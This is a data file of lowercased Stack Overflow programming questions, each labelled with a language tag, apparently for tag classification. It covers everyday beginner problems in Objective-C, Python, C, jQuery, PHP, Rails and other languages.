objective c concept explanation  i have the following code:  <code>- (void)setitem:(todo *)newitem {     item = newitem; }</code>    why is it that i can t do  <code>- (void)setitem:(todo *)newitem {     self.item = newitem; }</code>      i have item declared in my header file but i get a <code>exc_bad_access</code> error  item is also not synthesized. the method is meant to be a custom setter.     thanks!,objective-c
it is possible to round up integers using format   i m trying to take a large integer  ie: 123123123 and format it with 3-digits of precision and commas.  format can add the commas using:   <pre><code> {: } .format(123123123)  #  123 123 123  </code></pre>   and specify precision for floating points:   <pre><code> {0:.2f} .format(3.141592) #  3.14  </code></pre>   but what if i want to do both     ie:    <pre><code> {: 3d} .format(123123123)  # valueerror </code></pre>   i would like to have it return: 123 000 000,python
build templates using html/css  if you are building a simple website using just simple html/css/javascript that has say 5 pages  is it possible to build a template so that the headers and navigation can be called in each page,html
unknown method syntax <pre><code>static void initialize(void* (*allocptr)(size_t)  void (*freeptr)(void*)) </code></pre>   i have never seen a method taking this type of syntax before. is it casting  can anyone shed some light on this  i would search other answers but i am not sure how to phrase it.,c++
is there a faster way than o(n) to check if all elements in an unsorted array is 0   i have a code that needs to check if a given buffer of size 2048 is all zero. right now i make a single traversal but wonder if there is a faster way to check if all contain 0. is there a faster way  the cod e i have is as follows:   <pre><code>static int issilent(uint8* buf  int length){        int i;        for(i=0; i&lt;length; i++)           if(buf[i] != 0) return 0;        return 1; } </code></pre>   edit: i m doing real time audio processing thus the small buffer size and trying to reduce the delay. just trying to explore faster ways. thanks.,c
sql table relationships  i am attempting to create some table relationships for a sql database  that handles service activity on a work order ticket. i have one-to-may relationships for these tables and have a question. i have wot (work order ticket) table for the creation of a work order ticket. the wot can have multiple service activities on different dates associated with it. each service activity can have multiple parts used (for a repair). this is just the basic idea  but i have created the following tables and relationships:   <pre><code>wot table: </code></pre>  <blockquote>    wot>wotnum – pk  </blockquote>  <pre><code>service activity table: </code></pre>  <blockquote>    service_activity>serviceid – pk        service_activity>wotnum – fk   (link to pk in wot table)  </blockquote>  <pre><code>part used table: </code></pre>  <blockquote>    partused>partusedid – pk        partused>serviceid – fk (link to pk in service activity table)  </blockquote>   each of the tables above has other columns as well (not shown)  but they are unique to the table  such as date fields  part numbers  etc.    the <code>service_activity&gt;serviceid (pk)</code> field is an autoincrement field and so is the <code>partused&gt;partusedid (pk)</code> field as well.    my question is  during data entry  how do i insure the partused>serviceid field (fk) synced with the <code>service_activity&gt;serviceid field (pk)</code> without actually having to manually enter the <code>partused&gt;serviceid field (fk)</code>     although i have a decent understanding of tables and relationships (critical to get this correct now)  i am a bit of a neophyte as to the process of thinking through how the tables will interact during actual data input. i think the answer to this may be simple  but i am just not grasping it yet. if my current solution does not seem adequate  i would welcome a suggestion. i need some help to get going in the right direction.,sql
need to close an open pop up and navigate to an url  i am new at scripting and am lost.    i have a page that calls a popup in two places by this link:   <pre><code>click &lt;a href=     onclick= window.open( poptest.php   chat_popup   toolbar=0 menubar=0 scrollbars=1 width=400 height=400 ); return false; &gt;here&lt;/a&gt; for the pop-up chat window only. </code></pre>   also on the page is a link to this window.location.href command:   <pre><code>&lt;button onclick= goto() &gt;back to the intro page&lt;/button&gt; &lt;script&gt;      function goto() {         window.location.href= http://www.streamcasters.com/temchat/sidebyside.html ;     }     &lt;/script&gt; </code></pre>   users are not closing the popup before using the window.location.href command.is there a dual-command where when a user clicks the location script it also closes the specific onclick=window.open tab (the popup that might be left open when they go to a page where the formatting is different)     thank you,javascript
message causes exc_bad_access (updated with new info)  this is my code where i m getting the error above; the line causing the error is the call to  addrecordtodatabase.  if i remove the call to the method and substitute the actual code that was in the method  the error goes away.  what is causing this    <pre><code>// do something useful with the data (like  enter it into the d/b)     sqlitedb *db = [sqlitedb sharedsqlitedb];     [db addrecordtodatabase:(nsstring*) symbol.data andtypename: (nsstring *) symbol.typename];   //---------------------    addrecordtodatabase    ----------------------| - (void)addrecordtodatabase:(nsstring*)data andtypename: (nsstring *)typename  {      nsstring *insertcommand = [nsstring stringwithformat:@ insert into s64data (card_id  card_name  code_val) values ( /%s    /%@    /%s )                              data  @ test   typename];      if(sqlite3_open_v2(cdatabasepath  sharedsqlitedb  sqlite_open_readwrite  null) == sqlite_ok) {       } } </code></pre>   and this is the console output:   <pre><code>the debugger has exited with status 0. [session started at 2011-04-30 06:14:36 -0700.] gnu gdb 6.3.50-20050815 (apple version gdb-1510) (fri oct 22 04:12:10 utc 2010) copyright 2004 free software foundation  inc. gdb is free software  covered by the gnu general public license  and you are welcome to change it and/or distribute copies of it under certain conditions. type  show copying  to see the conditions. there is absolutely no warranty for gdb.  type  show warranty  for details. this gdb was configured as  --host=i386-apple-darwin --target=arm-apple-darwin .tty /dev/ttys001 loading program into debugger… sharedlibrary apply-load-rules all program loaded. target remote-mobile /tmp/.xcodegdbremote-778-28 switching to remote-macosx protocol mem 0x1000 0x3fffffff cache mem 0x40000000 0xffffffff none mem 0x00000000 0x0fff none run running… [switching to thread 11779] [switching to thread 11779] continue 2011-04-30 06:14:50.183 pointpeek[137:707] error: (null) program received signal:  “exc_bad_access”. warning: unable to read symbols for /developer/platforms/iphoneos.platform/devicesupport/4.3.2 (8h7)/symbols/developer/usr/lib/libxcodedebuggersupport.dylib (file not found). (gdb)  </code></pre>,objective-c
new locationclient(this this this) compile error  i am trying to update an old tutorial with the new google location services.  i am using the code directly from google tutorial  yet the line   mlocationclient = new locationclient(this this this); returns an error the constructor locationclient(runfragment  runfragment  runfragment) is undefined    the only difference between my code and the tutorial is that i am running it in oncreateview in a fragment instead of from an activity.  any suggestions how i can correct this   thanks.   <pre><code>public class runfragment extends fragment implements </code></pre>   locationlistener  googleplayservicesclient.connectioncallbacks  googleplayservicesclient.onconnectionfailedlistener {   <pre><code>private button mstartbutton  mstopbutton; private textview mstartedtextview  mlatitudetextview       mlongitudetextview  maltitudetextview  mdurationtextview;   // a request to connect to location services private locationrequest mlocationrequest;  // stores the current instantiation of the location client in this object private locationclient mlocationclient;  // handle to sharedpreferences for this app sharedpreferences mprefs;  // handle to a sharedpreferences editor sharedpreferences.editor meditor;  /*  * note if updates have been turned on. starts out as  false ; is set to  true  in the  * method handlerequestsuccess of locationupdatereceiver.  *  */ boolean mupdatesrequested = false;  @override public void oncreate(bundle savedinstancestate) {       super.oncreate(savedinstancestate);     setretaininstance(true);    }  @override public view oncreateview(layoutinflater inflater  viewgroup container          bundle savedinstancestate) {     view view = inflater.inflate(r.layout.fragment_run  container  false);      mstartedtextview = (textview)view.findviewbyid(r.id.run_startedtextview);     mlatitudetextview = (textview)view.findviewbyid(r.id.run_latitudetextview);     mlongitudetextview = (textview)view.findviewbyid(r.id.run_longitudetextview);     maltitudetextview = (textview)view.findviewbyid(r.id.run_altitudetextview);     mdurationtextview = (textview)view.findviewbyid(r.id.run_durationtextview);      mstartbutton = (button)view.findviewbyid(r.id.run_startbutton);       mstopbutton = (button)view.findviewbyid(r.id.run_stopbutton);      // create a new global location parameters object     mlocationrequest = locationrequest.create();      /*      * set the update interval      */     mlocationrequest.setinterval(locationutils.update_interval_in_milliseconds);      // use high accuracy     mlocationrequest.setpriority(locationrequest.priority_high_accuracy);      // set the interval ceiling to one minute     mlocationrequest.setfastestinterval(locationutils.fast_interval_ceiling_in_milliseconds);      // note that location updates are off until the user turns them on     mupdatesrequested = false;      // open shared preferences      mprefs = getactivity().getsharedpreferences(locationutils.shared_preferences  context.mode_private);      // get an editor     meditor = mprefs.edit();      /*      * create a new location client  using the enclosing class to      * handle callbacks.      */     mlocationclient = new locationclient(this this this);        //updateui();      return view; }  @override public void onconnectionfailed(connectionresult result) {     // todo auto-generated method stub  }  @override public void onconnected(bundle connectionhint) {     // todo auto-generated method stub  }  @override public void ondisconnected() {     // todo auto-generated method stub  }  @override public void onlocationchanged(location location) {     // todo auto-generated method stub  } </code></pre>   },android
how to print messages in custom exception   i m new to exceptions and am a bit confused at getmessage() and super(custommessage). please forgive me if it sounds rather ridiculous...     part of my try catch code is here:   <pre><code>try{         sc.buyasong();     } catch (cardemptyexception e){         system.out.println( caught error:   +e.getmessage() );     } catch (cardnotactivatedexception e){         system.out.println( caught error:   +e.getmessage() );     } </code></pre>   and i want to print  caught error: card not activated  or  caught error: no more songs on the card . and my custom exception is like this   <pre><code>class cardnotactivatedexception extends exception{ public cardnotactivatedexception(){     super( card not activated );     } } class cardemptyexception extends exception{     public cardemptyexception(){         super( no more songs on the card );     } } </code></pre>   but when i run it  it prints    <pre><code>com.example.cardnotactivatedexception: card not activated </code></pre>   and  caught error: ----  is not printed out as well. is there something that i am understanding wrongly  because it looks like i am fundamentally wrong and i m not quite sure where my misunderstanding is...,java
jquery not returning href text value correctly  i have the following code below and i trying to get the value of the text on which the user has moused over .. currently its returning nothing.    here is my code below and fiddle here <a href= http://jsfiddle.net/dev2020/e11zpt5r/9/  rel= nofollow >fiddle demo</a> (line number 263 to 269   <pre><code>var linkval = $(this).closest( div.previewcard-b ).find( .previewcardpagelink ).text(); console.log(  linkval    + linkval); console.log(  sometext   +$(this).parent().find( .previewcardpagelink ).text());                                 var assembledinfo = linkval +   | ohm ; alert( assembledinfo   +assembledinfo) </code></pre>,jquery
trying to filter data by nesting routes  i have a rails app that lets users ask questions to be answered by professionals.  in addition to the question and answer model  the app keeps track of categories in the following way   <pre><code>question.rb   has_many :categorizations  has_many :categories  through: :categorizations </code></pre>   category.rb   <pre><code>  has_many :categorizations   has_many :questions  through: :categorizations </code></pre>   categorization.rb   <pre><code> belongs_to :question  belongs_to :category </code></pre>   right now  i can go to localhost:3000/categories and see a list of all the categories with questions in them. however  although categories are important  it s not very practical because due to the nature of the questions being asked  it s unlikely that someone in california would be able to answer a question asked about new york. therefore  i d like to have questions filtered by location as well. i m guessing the best way to set up the url would be like this   <pre><code>localhost:3000/state/ny/categories </code></pre>   which i understand i could do by creating nested routes (if  for example  i created a locations resource)   <pre><code>resources :states do     resources :categories  end  </code></pre>   so  although i originally had the location stored as a field on question model  i now created a location model (in case  state  is a reserved word  which i wasn t sure about). i did   <pre><code>location.rb  has_many :questions  question.rb  belongs_to :locations </code></pre>   and also did the nested routing so i could filter categories by states   <pre><code>  resources :locations do         resources :categories    end  </code></pre>   however  you ll notice that i didn t create an association between the location and the category  so if i go to this route   <pre><code>http://localhost:3000/locations/ny/categories </code></pre>   and if the index.html.erb view page shows how many questions exist for each category   <pre><code>&lt;% @categories.each do |category| %&gt;   &lt;div class= category &gt;     &lt;h5&gt;&lt;%= link_to category.name  category %&gt;&lt;/h5&gt;     &lt;%= pluralize category.questions.size   question  %&gt;   &lt;/div&gt; &lt;% end %&gt; </code></pre>   it s not being filtered by location. for example  it still counts all the questions regardless of location.  there s no benefit to having the routes like this unless i add some logic in the view that filters the location.     instead of categories  i also tried nesting questions  but that doesn t change anything either obviously.    <pre><code>  resources :locations do         resources :questions   end  </code></pre>   i think you can see what i m trying to do. can you suggest how i m supposed to do it.     for example  should i be creating an association between location and category  and  if so  how would it work with that join model i have categorization - can it belong_to three other models. or how should i otherwise be filtering questions or questions that are listed in categories by location.     thanks if you can provide some pointers.,ruby-on-rails
trouble getting correct answer when dividing by a decimal  this is my first course in coding. i get errors when i choose the number 3 in the selection. that is  if i divide the 12 by 2 the program gives the correct output  if however  i divide 10.4 by 2 the program output just goes into a loop until  i stop the program.   <pre><code>#include &lt;stdio.h&gt;  int main() {     /* variable definition: */      int intvalue  menuselect  results;     float shrink;      intvalue = 1;      // while a positive number     while (intvalue &gt; 0) {             printf( enter a positive integer\n:  );         scanf( %d   &amp;intvalue);         {             printf( enter 1 to calculate square  2 to calculate cube  or 3 to divide  input by 2  to end program enter a negative integer.\n:  );             scanf( %d   &amp;menuselect);             if (menuselect == 1) {                 // call the square function                 results = square(intvalue);                 printf( square of %d is %d\n   intvalue  results);             } else             if (menuselect == 2) {                 // call the cube function                 results = cube(intvalue);                 printf( cube of %d is %d\n   intvalue  results);             } else             if (menuselect == 3) {                 // call the divisor function                 results = shrink (intvalue);                 printf( the quotient of %d is %d\n   intvalue  results);             } else                  printf( invalid menu item  only 1  2 or 3 is accepted\n );         }     }        return 0; }  /* function returning the square of a number */ int square(int value) {     return value * value; }  /* function returning the cube of a number */ int cube(int value) {     return value * value * value; }  /* function returning the quotient of a number */ int shrink(int value) {     return (double)value / 2; } </code></pre>,c
hide an external application from taskbar  i ve looked through many different forums and i cannot find a way. i am looking to hide external application icons from the taskbar  but not have the application minimized. i have no clue where to start  or how to do it. any help would be greatly appreciated.    <em>note</em> hide external application icon  not my form s icon.,c#
getting x and y position   how to get the x and y axis of uiimage  i have one images which are randomly changes it s position so how to get the image current x and y position so i can match with another image x and y position.i have to get the position of image without any touch  on screen. please suggest some solution.    thank you.,iphone
invalid syntax code  # set the background color         arcade.set_background_color(arcade.color.amazon)   <pre><code>    # set the viewport boundaries     # these numbers set where we have  scrolled  to.     self.view_left = 0     self.view_bottom = 0     **print(f total wall blocks: {len(self.wall_list)} )**  def on_draw(self):             render the screen.         </code></pre>   <strong>invalid syntax</strong> keeps coming up when the code is run in it s entirety. i am usually quite good at fixing problems in python code for my students but this is stumping me. we use python 3.4.4,python
stuck on trying to get the user to type minutes so python can convert it to seconds for command line <pre><code>minute = 60 shutdown = ( shutdown ) log_off = ( log off ) restart = ( restart ) import time time.sleep(1) option = input( what would you like to do today \n shutdown \n restart \n log off\n ) if option == shutdown:     time.sleep(1)     print( you have selected to   shutdown)     time.sleep(0.5)     time_shutdown = input( how long do you want until the machine shuts down (in minutes) )     number = int(time_shutdown)     #so at this point i want the minutes converted to seconds     minutes = number * minute     #so this should then convert the minutes into seconds     import subprocess     subprocess.call([ shutdown.exe    -f    -s    -t   minutes])     print( your command has been processed... )     time.sleep(1.5)     number = int(time_shutdown)     minutes = number / minute     print( your machine will close down in   minutes  minutes. )   traceback (most recent call last): file  c:\python34\test.py   line 23  in &lt;module&gt; subprocess.call([ shutdown.exe    -f    -s    -t   minutes]) file  c:\python34\lib\subprocess.py   line 537  in call with popen(*popenargs  **kwargs) as p: file  c:\python34\lib\subprocess.py   line 858  in __init__ restore_signals  start_new_session) file  c:\python34\lib\subprocess.py   line 1085  in _execute_child args = list2cmdline(args) file  c:\python34\lib\subprocess.py   line 663  in list2cmdline needquote = (    in arg) or ( \t  in arg) or not arg typeerror: argument of type  int  is not iterable </code></pre>   and i am desperate for some advice on how to make it work as i have been trying to figure out all day. and i hope that i haven t missed something stupid that i should of put in there.    could anybody help me out,python
time since  a unix timestamp  take a unix timestamp  example : 1372108039  for a time that has already passed (this was from yesterday).    what i want is to change that into something that says  1 day ago  or  15 hours ago .    i found this code below from a twitter plugin which takes the time now  the timestamp  finds the difference and outputs accordingly. i have an idea that it can be done simply in jquery using the code below as a base for that  but have no idea where to start.    any help would be appreciated.   <pre><code>function(datestring) {     var rightnow = new date();     var then = 1372108039;     var diff = rightnow - then;      var second = 1000      minute = second * 60      hour = minute * 60      day = hour * 24      week = day * 7;      if (isnan(diff) || diff &lt; 0) {         return   ; // return blank string if unknown     }      if (diff &lt; second * 2) {         // within 2 seconds         return  right now ;     }      if (diff &lt; minute) {         return math.floor(diff / second) +   seconds ago ;     }      if (diff &lt; minute * 2) {         return  about 1 minute ago ;     }      if (diff &lt; hour) {         return math.floor(diff / minute) +   minutes ago ;     }      if (diff &lt; hour * 2) {         return  about 1 hour ago ;     }      if (diff &lt; day) {         return  math.floor(diff / hour) +   hours ago ;     }      if (diff &gt; day &amp;&amp; diff &lt; day * 2) {         return  yesterday ;     }      if (diff &lt; day * 365) {         return math.floor(diff / day) +   days ago ;     }      else {         return  over a year ago ;     } }  // timeago() </code></pre>,jquery
argument is not ananunction  got undefined  i m migrating from angularjs 1.2.26 to 1.3.2 and receive an <a href= https://docs.angularjs.org/error/ng/areq p0=welcomecontroller&amp;p1=not%20ananunction %20got%20undefined  rel= noreferrer >error</a>    not the best error message to work out but it looks like it is saying that my controller is not defined  can i no longer define controllers this way     error: error:areq    bad argument    argument  welcomecontroller  is not ananunction  got undefined    my index page is something like:   <pre><code>&lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular.min.js &gt;&lt;/script&gt; &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular-route.min.js &gt;&lt;/script&gt; &lt;script src= //ajax.googleapis.com/ajax/libs/angularjs/1.3.2/angular-sanitize.min.js &gt;&lt;/script&gt;  var myapp = angular.module( kioskapp   [ ngroute   ngsanitize ]).run(function($rootscope  $location  $timeout) {     $rootscope.authenticated = true; });  myapp.config(function($routeprovider  $locationprovider  $scedelegateprovider) {     $routeprovider     .when( /welcome   {         templateurl :  pages/welcome.php           controller  :  welcomecontroller      }); });  function welcomecontroller($rootscope  $scope  $http  $location) {     //stuff } </code></pre>   my welcome page is something like:   <pre><code>&lt;div ontouchmove= preventdrag(event)  ng-show= authenticated &gt;     &lt;!-- some images --&gt; &lt;/div&gt; </code></pre>,angularjs
when a table view is dragged down  how to set the color of the view behind it   i have a green navigation bar and a green table view header that together look like this:    <a href= https://i.stack.imgur.com/btalo.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/btalo.png  alt= enter image description here ></a>    but when the user scrolls the table view down it appears like this:    <a href= https://i.stack.imgur.com/bom5m.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/bom5m.png  alt= enter image description here ></a>     i m attempting to set the color of the grey portion that is revealed when the user drags down to also be green  but can t work out how to do so.    if i set the tableview s background color to green this does not affect it  setting that to green sets the view behind the grey strip but does not affect that strip itself:    <a href= https://i.stack.imgur.com/khmku.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/khmku.png  alt= enter image description here ></a>    here is the grey strip in the view hierarcy:    <a href= https://i.stack.imgur.com/6ojde.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/6ojde.png  alt= enter image description here ></a>    is there some way i can set it to green  so when the user drags down they don t see they gray beneath     the table view in the storyboard is like this:    <a href= https://i.stack.imgur.com/qm4gj.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/qm4gj.png  alt= enter image description here ></a>,ios
reasons for using on-the-fly compilation in java  i saw some are writing out java files and then call the compiler  doesn t that produce overhead while doing it in runtime mode,java
how to increase jquery :eq() parameter out of hover function  <pre><code>$( .arrow ).eq(0).hover(function () {     $( .sub-menu ).eq(0).css( visibility    visible );     $( .arrow ).eq(1).hover(function () {         $( .sub-menu ).eq(1).css( visibility    visible );         $( .arrow ).eq(2).hover(function () {             $( .sub-menu ).eq(2).css( visibility    visible );             $( .arrow ).eq(3).hover(function () {                 $( .sub-menu ).eq(3).css( visibility    visible );                 $( .arrow ).eq(4).hover(function () {                     $( .sub-menu ).eq(4).css( visibility    visible );                     $( .arrow ).eq(5).hover(function () {                         $( .sub-menu ).eq(5).css( visibility    visible );                         $( .arrow ).eq(6).hover(function () {                             $( .sub-menu ).eq(6).css( visibility    visible );                             $( .arrow ).eq(7).hover(function () {                                 $( .sub-menu ).eq(7).css( visibility    visible );                              });                         });                     });                 });             });         });     }); }); </code></pre>   can i have a function which add class to the children if parent is hovered  i want to make a navigation to wp themes. thanks)),jquery
exam application programming online test javascript  i am trying to an online test sample applicatio with java script &amp; i am facing some problem with the increment value of correct variable .the result of the increment value showing some strange value. if anyone can help me i can give y whole demo code   <pre><code>function checkanswer(result id corrected)    {     var value;       var choice=document.getelementsbyname( choice );       for(var i=0;i&lt;choice.length;i++)                               //checkanswer() function e problem ache        {         if(choice[i].checked)         {            value=choice[i].value;         }       }           if(value===result)         {           corrected++;         }         if(id==last)       {         databox.innerhtml= &lt;h3&gt; you have given  +corrected+  correct answers out of  +last;       }     } </code></pre>,javascript
is it a violation of terms and services to embedd google s turn by turn directions into an iphone app   i m trying to embed google s directions into an iphone app there doesn t seem to be a straightforward way to pull turn by turn data (specifically json data) other than adding a uiwebview.    i was wondering if it s a terms of service violation problem or is it something that just hasn t been implemented yet for the iphone.    i ve seen google s directions data imported and styled in flash but i haven t seen anything relating to maps other than linking out to the google maps iphone app.,iphone
c# integer/float thread safety and interlocked.increment/compareexchage  from lot of threads  like <a href= https://stackoverflow.com/questions/3047280/is-int-thread-safe >this</a> one  i have found that c# int/float are thread safe. but i have seen lot of developers using interlocked.increment/compareexchage for multi-threaded application. any one can tell me the reason for using these constructs. <strong>update:</strong>  i am aware about these constructs. i just wanted to ask if int is thread safe the why we need these constructs,c#
how to make always visible scroll in html 5   i have enormous table to render on website. i need to make it scroll horizontally. normally i would set fixed <code>width</code> and <code>overflow: scroll</code> but not in this case. the table is pretty tall so i don t see scroll at the bottom of web browser.     demo: <a href= http://jsfiddle.net/cpmjng5b/1/embedded/result/  rel= nofollow >http://jsfiddle.net/cpmjng5b/1/embedded/result/</a>    i could set fixed <code>height</code> but i have text before table that height is dynamic.     <a href= http://jsfiddle.net/cpmjng5b/5/embedded/result/  rel= nofollow >http://jsfiddle.net/cpmjng5b/5/embedded/result/</a>    what should i do  try to calculate <code>div.container</code> height in js  i already tried <a href= http://amphiluke.github.io/jquery-plugins/floatingscroll/  rel= nofollow >floating scroll plugin</a> for jquery but it is relatively slow. can i make it in pure css somehow,css
should i ever combine multiple lines of code into 1 line in java   if i have this code for example:   <pre><code> switch(input) {      case 0: system.out.println( 0 ); break;      case 1: system.out.println( 1 ); break;  } </code></pre>   would this ever be right to do  it seems like it isn t really necessary to put a break on the next line.,java
else statement is executed even the condition is met  this is 2 forms and 2 actions when the submit button is hitted. first form asks account name and checks if the captcha code is fine. when both are fine it proceeds the user to the next form that asks him 2 questions so he can retrieve his password. code is executing fine but i got a problem. when everything is ok: account exists  captcha is fine  both questions are ok  when user hits submit button at the second form the else statement from 1st action is executed again but the forms continious fine and he got his password e mailed. any help would be appriciated :)   <pre><code>if ( post  === $_server[ request_method ]){ if($_post[ lostpassword ]== account  and ($_post[ captcha ])&amp;&amp;$_post[ captcha ]!=  &amp;&amp;$_session[ code ]==$_post[ captcha ]) {  connectdb($config[ dbdbname ]  $config[ dbaddress ]  $config[ dbuser ]  $config[ dbpass ]);  $postusername = $_post[ account ]; $postusername = antiinjection($postusername);  $result = mssql_query (sprintf(select_user_fullinfo  $postusername)); $rows=mssql_num_rows($result);  if($rows&gt;0) {     $rows=mssql_fetch_assoc($result);      extract($rows);     $error = 2; } else {     echo  account doesn t exist.&lt;br&gt; ;     $error = 1; }        } else {         echo  &lt;script language= javascript &gt;              alert( wrong verification code. please try again. );              &lt;/script&gt; ;      } } </code></pre>   the form:   <pre><code>&lt;form name= lostpassword  action= index.php page=lostpassword  method= post      onsubmit= return checkform1()  autocomplete= off &gt;     &lt;table cellspacing=0 border=0 cellpadding=0 align=center&gt;         &lt;tr&gt;             &lt;td width=200&gt;                 account             &lt;/td&gt;             &lt;td&gt;                 &lt;div align=right&gt;                     &lt;input type=text maxlength=14 name=account&gt;                 &lt;/div&gt;             &lt;/td&gt;         &lt;/tr&gt;         &lt;tr&gt;             &lt;td valign=middle&gt;                 verification image  &lt;img src=\ captcha.php\ &gt;             &lt;/td&gt;             &lt;td&gt;                 &lt;div align=right&gt;                     &lt;input type=text maxlength=4 name=captcha&gt;                 &lt;/div&gt;             &lt;/td&gt;         &lt;/tr&gt;      &lt;/table&gt;     &lt;div align=center&gt;         &lt;br&gt;         &lt;input type=hidden name=lostpassword value= account &gt;         &lt;input type=submit name=login value=    submit    &gt;     &lt;/div&gt; &lt;/form&gt; </code></pre>   nexti action:    <pre><code>if($_post[ lostpassword ]== email  ) {  $error = 3; $postusername = $_post[ account ]; $postanswer1 = $_post[ answer1 ]; $postanswer2 = $_post[ answer2 ]; $postusername = antiinjection($postusername); $postanswer1 = antiinjection($postanswer1); $postanswer2 = antiinjection($postanswer2);  connectdb($config[ dbdbname ]  $config[ dbaddress ]  $config[ dbuser ]  $config[ dbpass ]);  $result = mssql_query (sprintf(select_user_fullinfo  $postusername)); $rows=mssql_num_rows($result);  if($rows&gt;0) {     $rows=mssql_fetch_assoc($result);      extract($rows);      $postanswer1 = encrypt($postanswer1);     $postanswer2 = encrypt($postanswer2);     $answer1 =  0x  . substr(bin2hex($answer1)  0  32);     $answer2 =  0x  . substr(bin2hex($answer2)  0  32);      if($answer1!=$postanswer1) {         echo  answer to security question #1 is incorrect.&lt;br&gt; ;         $error = 2;     }     if($answer2!=$postanswer2) {         echo  answer to security question #2 is incorrect.&lt;br&gt; ;         $error = 2;     } } else {     echo  account doesn t exist.&lt;br&gt; ;     $error = 1; }  } </code></pre>   form for this action:   <pre><code>&lt;form name= lostpassword  action= index.php page=lostpassword  method= post       onsubmit= return checkform2()  autocomplete= off &gt; &lt;table cellspacing=0 border=0 cellpadding=0 align=center&gt; &lt;tr&gt;     &lt;td  width=200&gt;         security question #1     &lt;/td&gt;     &lt;td&gt;         &lt;div align=right&gt;             {$quiz1}         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         security answer #1     &lt;/td&gt;     &lt;td&gt;         &lt;div align=right&gt;             &lt;input type=text maxlength=32 name=answer1&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         security question #2     &lt;/td&gt;     &lt;td&gt;         &lt;div align=right&gt;             {$quiz2}         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt;     &lt;td&gt;         security answer #2     &lt;/td&gt;     &lt;td&gt;         &lt;div align=right&gt;             &lt;input type=text maxlength=32 name=answer2&gt;         &lt;/div&gt;     &lt;/td&gt; &lt;/tr&gt; &lt;/table&gt; &lt;div align=center&gt;     &lt;br&gt;     &lt;input type=hidden name=lostpassword value= email &gt;     &lt;input type=hidden name=account value= {$postusername} &gt;     &lt;input type=submit name=login value=    submit    &gt; &lt;/div&gt; &lt;/form&gt; </code></pre>   email code:   <pre><code>if($error==3) {  $newpassword = mt_rand(1000000 9999999); $newpassword = md5($newpassword); $newpassword = substr($newpassword  0  15); $encnewpassword = encrypt($newpassword); echo  &lt;br&gt; ;  mssql_query(sprintf(update_password  $encnewpassword  $account));  if($config[ email ]==0) {     echo  &lt;strong&gt;your password has been reseted to...&lt;/strong&gt;&lt;br&gt;{$newpassword}&lt;br&gt;&lt;br&gt; ; } elseif($config[ email ]==1) {     sendemail($config[ emailsmtp ]  $config[ emailuser ]  $config[ emailpass ]  $config[ emailaddress ]  $config[ servername ]   lost password   $email  $account  $newpassword  $ssn   &lt;strong&gt;your password has been reseted and sent to your email.&lt;/strong&gt; ); }  } </code></pre>,php
form for related model not showing up  i am trying to have a form show up for a related model  but it is not displaying when i view the page in a browser. <strong>how do i url field in my fields_for to display </strong>    here is my code:    <strong>user model:</strong>   <pre><code>class userscontroller &lt; applicationcontroller   def new     @user = user.new     @user.websites.build   end    def create     @user = user.new(params[:user])     if @user.save       redirect_to root_url  :notice =&gt;  signed up!      else       render  new      end   end end </code></pre>   <strong>website model:</strong>   <pre><code>class website &lt; activerecord::base   belongs_to :user end </code></pre>   <strong>users view:</strong>   <pre><code>&lt;h1&gt;sign up&lt;/h1&gt;  &lt;%= form_for @user do |f| %&gt;     &lt;% if @user.errors.any  %&gt; ...     &lt;% end %&gt;     &lt;p&gt;       &lt;%= f.label :email %&gt;&lt;br/&gt;       &lt;%= f.text_field :email %&gt;     &lt;/p&gt;     &lt;p&gt;       &lt;%= f.label :password %&gt;&lt;br/&gt;       &lt;%= f.password_field :password %&gt;     &lt;/p&gt;     &lt;p&gt;       &lt;%= f.label :password_confirmation %&gt;&lt;br/&gt;       &lt;%= f.password_field :password_confirmation %&gt;     &lt;/p&gt;     &lt;% f.fields_for :websites do |builder| %&gt;         &lt;%= builder.label :url %&gt;&lt;br/&gt;         &lt;%= builder.text_field :url %&gt;     &lt;% end %&gt;      &lt;p class= button &gt;&lt;%= f.submit %&gt;&lt;/p&gt; &lt;% end %&gt; </code></pre>   <strong>final output:</strong>    <img src= https://i.stack.imgur.com/jgejd.png  alt= finaloutput >,ruby-on-rails
stop accordion menu from opening and closing   i m using the following jquery for an accordion menu: <a href= http://jsfiddle.net/fpweq/  rel= nofollow >http://jsfiddle.net/fpweq/</a>   <pre><code>rel = 0; $( .sub-menu ).hover(function(){ // findind mouse postion         rel = 1; // if mouse on submenu     }  function(){          rel = 0;  // if mouse out submenu }); $( .menu &gt; li ).live( click  function(){         if(!$(this).hasclass( active )){ // if not already opened             $( .sub-menu ).slideup();    // hide all other submenu             $( .sub-menu  this).slidedown();  // show which your clicked             $( .menu &gt; li ).remove( active );  //  remove all active class in li             $(this).addclass( active ); //adding active class which your clicked li         }         else{             if(rel==0){                 $( .sub-menu ).slideup(); // if clicked already opend parent that will close                 $(this).removeclass( active ); // remove all active class             }             else{             }         } }); ;​ </code></pre>   i m having difficulty figuring out how to stop active (pre-opened) submenus from closing and opening again when sub menu links within are clicked.    any ideas what i am doing wrong,jquery
is there a lightweight  preferable open source  formatable label control for dotnet   i have been looking for a way to utilize a simple markup language  or just plain html  when displaying text in winform applications. i would like to avoid embedding a webbrowser control since in most of the case i just want to highlight a single word or two in a sentence.     i have looked at using a rtfcontrol but i believe it s a bit heavy and i don t think the  language  used to do the formatting is easy.    is there a simple control that allows me to display strings like:    this is a <strong>sample string</strong> <em>with</em> different formating.     i would be really neat if it was also possible to specify a font and/or size for the text.    oh  dotnet 3.5 and wpf/xaml is not an option.,.net
why should i ever use nonatomic in a property  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/588866/objective-c-properties-atomic-vs-nonatomic >objective-c properties: atomic vs nonatomic</a>    </blockquote>     by default all properties in objective-c are atomic. if i need nonatomic i have to declare it. but i wonder why should i ever use nonatomic  even if my applications are not multi threaded  atomic seems like the way to do it. what are the advantages of nonatomic,objective-c
